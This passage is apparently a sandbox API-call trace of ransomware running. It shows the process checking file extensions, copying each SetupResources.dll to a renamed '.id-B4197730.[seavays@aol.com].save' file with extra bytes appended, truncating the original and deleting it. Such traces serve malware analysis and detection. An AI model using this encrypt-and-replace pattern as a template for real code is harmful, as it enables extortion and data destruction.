-1 [0050.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0050.992] lstrlenW (lpString=".dbf") returned 4 [0050.992] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0050.992] lstrlenW (lpString=".1cd") returned 4 [0050.992] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0050.992] lstrlenW (lpString=".jpg") returned 4 [0050.992] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0050.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0050.992] lstrlenW (lpString=".doc") returned 4 [0050.992] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.992] lstrlenW (lpString=".docx") returned 5 [0050.992] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0050.992] lstrlenW (lpString=".pdf") returned 4 [0050.992] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.992] lstrlenW (lpString=".xls") returned 4 [0050.992] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.992] lstrlenW (lpString=".xlsx") returned 5 [0050.992] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0050.992] lstrlenW (lpString=".ppt") returned 4 [0050.992] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.992] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0050.993] lstrlenW (lpString=".zip") returned 4 [0050.993] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.993] lstrlenW (lpString=".rar") returned 4 [0050.993] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.993] lstrlenW (lpString=".bz2") returned 4 [0050.993] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.993] lstrlenW (lpString=".7z") returned 3 [0050.993] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0050.993] lstrlenW (lpString=".dbf") returned 4 [0050.993] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0050.993] lstrlenW (lpString=".1cd") returned 4 [0050.993] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\SetupResources.dll") returned 45 [0050.993] lstrlenW (lpString=".jpg") returned 4 [0050.993] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.993] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0050.993] lstrlenW (lpString="SetupResources.dll") returned 18 [0050.993] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0050.993] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=15192) returned 1 [0050.993] CloseHandle (hObject=0x2ec) returned 1 [0050.993] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 0x80 [0050.994] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0050.994] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0050.994] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0050.994] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0050.994] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0050.997] GetLastError () returned 0x0 [0050.997] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x3b58, lpOverlapped=0x0) returned 1 [0051.005] WriteFile (in: hFile=0x2fc, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x3b60, lpOverlapped=0x0) returned 1 [0051.006] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0051.007] WriteFile (in: hFile=0x2fc, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xf8, lpOverlapped=0x0) returned 1 [0051.007] SetEndOfFile (hFile=0x2fc) returned 1 [0051.007] CloseHandle (hObject=0x2fc) returned 1 [0051.008] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0051.008] SetEndOfFile (hFile=0x2ec) returned 1 [0051.008] CloseHandle (hObject=0x2ec) returned 1 [0051.009] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0051.009] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 1 [0051.009] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0051.009] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0051.009] lstrlenW (lpString=".doc") returned 4 [0051.009] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.009] lstrlenW (lpString=".docx") returned 5 [0051.009] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0051.009] lstrlenW (lpString=".pdf") returned 4 [0051.009] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.009] lstrlenW (lpString=".xls") returned 4 [0051.009] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.009] lstrlenW (lpString=".xlsx") returned 5 [0051.009] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0051.009] lstrlenW (lpString=".ppt") returned 4 [0051.009] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.009] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0051.009] lstrlenW (lpString=".zip") returned 4 [0051.009] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.009] lstrlenW (lpString=".rar") returned 4 [0051.010] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.010] lstrlenW (lpString=".bz2") returned 4 [0051.010] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.010] lstrlenW (lpString=".7z") returned 3 [0051.010] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.010] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0051.010] lstrlenW (lpString=".dbf") returned 4 [0051.010] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.010] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0051.010] lstrlenW (lpString=".1cd") returned 4 [0051.010] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.010] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0051.010] lstrlenW (lpString=".jpg") returned 4 [0051.010] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.010] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0051.010] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0051.010] lstrlenW (lpString=".doc") returned 4 [0051.010] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.010] lstrlenW (lpString=".docx") returned 5 [0051.010] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0051.010] lstrlenW (lpString=".pdf") returned 4 [0051.010] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.010] lstrlenW (lpString=".xls") returned 4 [0051.010] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.010] lstrlenW (lpString=".xlsx") returned 5 [0051.010] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0051.010] lstrlenW (lpString=".ppt") returned 4 [0051.010] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.010] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0051.010] lstrlenW (lpString=".zip") returned 4 [0051.010] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.010] lstrlenW (lpString=".rar") returned 4 [0051.010] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.011] lstrlenW (lpString=".bz2") returned 4 [0051.011] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.011] lstrlenW (lpString=".7z") returned 3 [0051.011] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0051.011] lstrlenW (lpString=".dbf") returned 4 [0051.011] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0051.011] lstrlenW (lpString=".1cd") returned 4 [0051.011] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0051.011] lstrlenW (lpString=".jpg") returned 4 [0051.011] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.011] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0051.011] lstrlenW (lpString="SetupResources.dll") returned 18 [0051.011] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0051.011] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=17752) returned 1 [0051.011] CloseHandle (hObject=0x2ec) returned 1 [0051.011] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 0x80 [0051.011] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0051.012] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0051.012] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0051.012] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0051.012] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0051.015] GetLastError () returned 0x0 [0051.015] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x4558, lpOverlapped=0x0) returned 1 [0051.018] WriteFile (in: hFile=0x2cc, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x4560, lpOverlapped=0x0) returned 1 [0051.020] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0051.020] WriteFile (in: hFile=0x2cc, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xf8, lpOverlapped=0x0) returned 1 [0051.020] SetEndOfFile (hFile=0x2cc) returned 1 [0051.020] CloseHandle (hObject=0x2cc) returned 1 [0051.021] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0051.021] SetEndOfFile (hFile=0x2ec) returned 1 [0051.022] CloseHandle (hObject=0x2ec) returned 1 [0051.022] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0051.022] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 1 [0051.022] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0051.022] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0051.022] lstrlenW (lpString=".doc") returned 4 [0051.022] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.022] lstrlenW (lpString=".docx") returned 5 [0051.022] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0051.022] lstrlenW (lpString=".pdf") returned 4 [0051.022] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.022] lstrlenW (lpString=".xls") returned 4 [0051.022] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.022] lstrlenW (lpString=".xlsx") returned 5 [0051.022] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0051.022] lstrlenW (lpString=".ppt") returned 4 [0051.023] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0051.023] lstrlenW (lpString=".zip") returned 4 [0051.023] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.023] lstrlenW (lpString=".rar") returned 4 [0051.023] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.023] lstrlenW (lpString=".bz2") returned 4 [0051.023] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.023] lstrlenW (lpString=".7z") returned 3 [0051.023] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0051.023] lstrlenW (lpString=".dbf") returned 4 [0051.023] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0051.023] lstrlenW (lpString=".1cd") returned 4 [0051.023] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0051.023] lstrlenW (lpString=".jpg") returned 4 [0051.023] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0051.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0051.023] lstrlenW (lpString=".doc") returned 4 [0051.023] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.023] lstrlenW (lpString=".docx") returned 5 [0051.023] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0051.023] lstrlenW (lpString=".pdf") returned 4 [0051.023] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.023] lstrlenW (lpString=".xls") returned 4 [0051.023] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.023] lstrlenW (lpString=".xlsx") returned 5 [0051.023] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0051.023] lstrlenW (lpString=".ppt") returned 4 [0051.023] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.023] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0051.024] lstrlenW (lpString=".zip") returned 4 [0051.024] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.024] lstrlenW (lpString=".rar") returned 4 [0051.024] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.024] lstrlenW (lpString=".bz2") returned 4 [0051.024] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.024] lstrlenW (lpString=".7z") returned 3 [0051.024] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0051.024] lstrlenW (lpString=".dbf") returned 4 [0051.024] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0051.024] lstrlenW (lpString=".1cd") returned 4 [0051.024] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.024] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0051.024] lstrlenW (lpString=".jpg") returned 4 [0051.024] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.024] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0051.024] lstrlenW (lpString="SetupResources.dll") returned 18 [0051.024] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0051.024] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=18264) returned 1 [0051.024] CloseHandle (hObject=0x2ec) returned 1 [0051.024] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 0x80 [0051.025] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0051.025] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0051.025] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0051.025] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0051.025] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0051.185] GetLastError () returned 0x0 [0051.185] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x4758, lpOverlapped=0x0) returned 1 [0051.187] WriteFile (in: hFile=0x2f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x4760, lpOverlapped=0x0) returned 1 [0051.188] ReadFile (in: hFile=0x2ec, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0051.188] WriteFile (in: hFile=0x2f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0xf8, lpOverlapped=0x0) returned 1 [0051.188] SetEndOfFile (hFile=0x2f0) returned 1 [0051.188] CloseHandle (hObject=0x2f0) returned 1 [0051.189] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0051.189] SetEndOfFile (hFile=0x2ec) returned 1 [0051.190] CloseHandle (hObject=0x2ec) returned 1 [0051.190] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0051.191] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 1 [0051.191] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0051.191] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0051.191] lstrlenW (lpString=".doc") returned 4 [0051.191] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.191] lstrlenW (lpString=".docx") returned 5 [0051.191] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0051.191] lstrlenW (lpString=".pdf") returned 4 [0051.191] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.191] lstrlenW (lpString=".xls") returned 4 [0051.191] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.191] lstrlenW (lpString=".xlsx") returned 5 [0051.191] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0051.191] lstrlenW (lpString=".ppt") returned 4 [0051.191] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.191] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0051.191] lstrlenW (lpString=".zip") returned 4 [0051.191] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.191] lstrlenW (lpString=".rar") returned 4 [0051.192] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.192] lstrlenW (lpString=".bz2") returned 4 [0051.192] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.192] lstrlenW (lpString=".7z") returned 3 [0051.192] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.192] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0051.192] lstrlenW (lpString=".dbf") returned 4 [0051.192] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.192] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0051.192] lstrlenW (lpString=".1cd") returned 4 [0051.192] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.192] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0051.192] lstrlenW (lpString=".jpg") returned 4 [0051.192] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.192] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0051.192] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0051.192] lstrlenW (lpString=".doc") returned 4 [0051.192] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0051.192] lstrlenW (lpString=".docx") returned 5 [0051.192] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0051.192] lstrlenW (lpString=".pdf") returned 4 [0051.192] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0051.192] lstrlenW (lpString=".xls") returned 4 [0051.192] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0051.192] lstrlenW (lpString=".xlsx") returned 5 [0051.192] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0051.192] lstrlenW (lpString=".ppt") returned 4 [0051.192] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0051.192] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0051.192] lstrlenW (lpString=".zip") returned 4 [0051.192] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0051.192] lstrlenW (lpString=".rar") returned 4 [0051.192] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0051.193] lstrlenW (lpString=".bz2") returned 4 [0051.193] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0051.193] lstrlenW (lpString=".7z") returned 3 [0051.193] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0051.193] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0051.193] lstrlenW (lpString=".dbf") returned 4 [0051.193] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0051.193] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0051.193] lstrlenW (lpString=".1cd") returned 4 [0051.193] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0051.193] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0051.193] lstrlenW (lpString=".jpg") returned 4 [0051.193] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0051.193] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0051.193] lstrlenW (lpString="SetupResources.dll") 